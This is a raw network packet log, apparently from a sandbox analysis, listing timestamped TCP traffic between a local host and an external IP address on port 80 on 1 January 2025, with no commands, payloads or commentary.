Jan 1, 2025 08:53:02.540301085 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540311098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540322065 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540329933 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.540333986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540345907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540349960 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.540357113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540369034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540381908 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.540390968 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540402889 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540421009 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.540442944 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.540777922 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540790081 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540802956 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540822029 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.540824890 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540838003 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540848970 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540855885 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.540873051 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541033030 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541044950 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541054964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541064978 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541074991 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541076899 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541086912 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541093111 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541099072 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541120052 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541131020 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541302919 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541315079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541323900 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541363955 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541383982 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541394949 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541405916 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541415930 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541424990 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541429043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541440964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541451931 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541451931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541467905 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541477919 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541492939 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541786909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541795969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541841030 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541872025 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541883945 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541893959 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541904926 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541914940 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.541922092 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541950941 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.541964054 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.542128086 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542140007 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542150021 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542160034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542171001 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542175055 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.542201996 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.542246103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542258024 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542293072 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.542392015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542404890 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542421103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542432070 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542442083 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542442083 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.542453051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542462111 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.542465925 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542494059 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.542506933 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.542617083 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542635918 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542646885 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542656898 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542666912 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542673111 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.542678118 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542689085 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542699099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542699099 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.542710066 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542721987 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.542722940 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.542740107 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.542767048 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.551486969 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.623150110 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623176098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623188019 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623224974 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.623265982 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623317003 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.623337030 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623353004 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623364925 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623399019 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.623548985 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623560905 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623570919 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623584986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623595953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623606920 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623609066 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.623637915 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.623727083 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623738050 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623749971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623775005 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.623802900 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.623893023 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623903990 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623914003 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623924017 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623935938 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623944998 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.623946905 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.623975992 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.623987913 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.624675989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.624690056 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.624702930 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.624726057 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.624735117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.624783993 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.624820948 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.624830961 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.624841928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.624867916 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.626019955 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626064062 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626069069 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.626075983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626112938 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.626189947 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626200914 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626210928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626221895 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626241922 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.626264095 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.626357079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626368046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626406908 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.626436949 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626449108 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626458883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626471996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626483917 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626488924 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.626496077 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626507044 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626524925 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.626550913 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.626653910 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626703978 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.626724958 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626735926 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626775980 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.626806974 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626817942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626832008 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626843929 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.626857996 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.626893044 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.627068043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627079964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627089977 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627099037 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627109051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627115965 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.627120018 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627131939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627142906 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627147913 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.627156019 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627163887 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.627186060 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.627371073 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627381086 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627389908 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627398968 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627408981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627418041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627425909 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.627445936 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.627571106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627585888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627620935 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.627742052 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627753019 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627768993 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627777100 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627787113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627793074 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.627798080 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627808094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627810001 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.627819061 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627827883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.627835989 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.627852917 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.627865076 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.628040075 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628050089 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628060102 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628091097 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.628169060 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628180981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628190041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628199100 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628210068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628220081 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628221989 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.628242016 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628252983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628261089 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628268003 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.628273964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628283978 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628293037 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.628300905 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.628324032 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.628628969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628638029 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628683090 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.628767014 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628777027 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628786087 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628796101 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628806114 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628814936 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628825903 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628829002 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.628835917 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628858089 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.628875971 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.628895044 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.628895998 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628952980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628962994 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.628990889 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.629020929 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629071951 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.629173994 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629189014 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629198074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629208088 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629216909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629226923 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629235029 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.629240036 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629244089 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.629251957 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629261971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629267931 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.629271984 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629282951 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629292965 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629302025 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629307032 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.629312038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629327059 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.629364014 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.629565954 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629579067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629587889 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629596949 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.629620075 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.629637957 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.710071087 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710093975 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710103989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710266113 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.710303068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710314035 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710325956 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710336924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710350990 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.710377932 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.710511923 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710524082 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710535049 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710546970 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710557938 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710558891 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.710570097 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710583925 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710602045 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.710628986 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.710769892 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710781097 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710791111 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710800886 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710812092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710836887 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.710874081 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.710987091 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.710999012 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.711031914 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.711605072 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.711616993 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.711627007 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.711649895 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.711662054 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.711740971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.711752892 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.711762905 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.711774111 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.711802006 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.711833000 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.712872028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.712923050 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.712934971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.712963104 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.713121891 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713133097 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713145018 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713155985 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713170052 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.713186026 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.713248968 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713260889 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713299990 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.713352919 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713363886 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713370085 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713380098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713390112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713404894 CET	49700	80	192.168.2.6	147.45.44.131
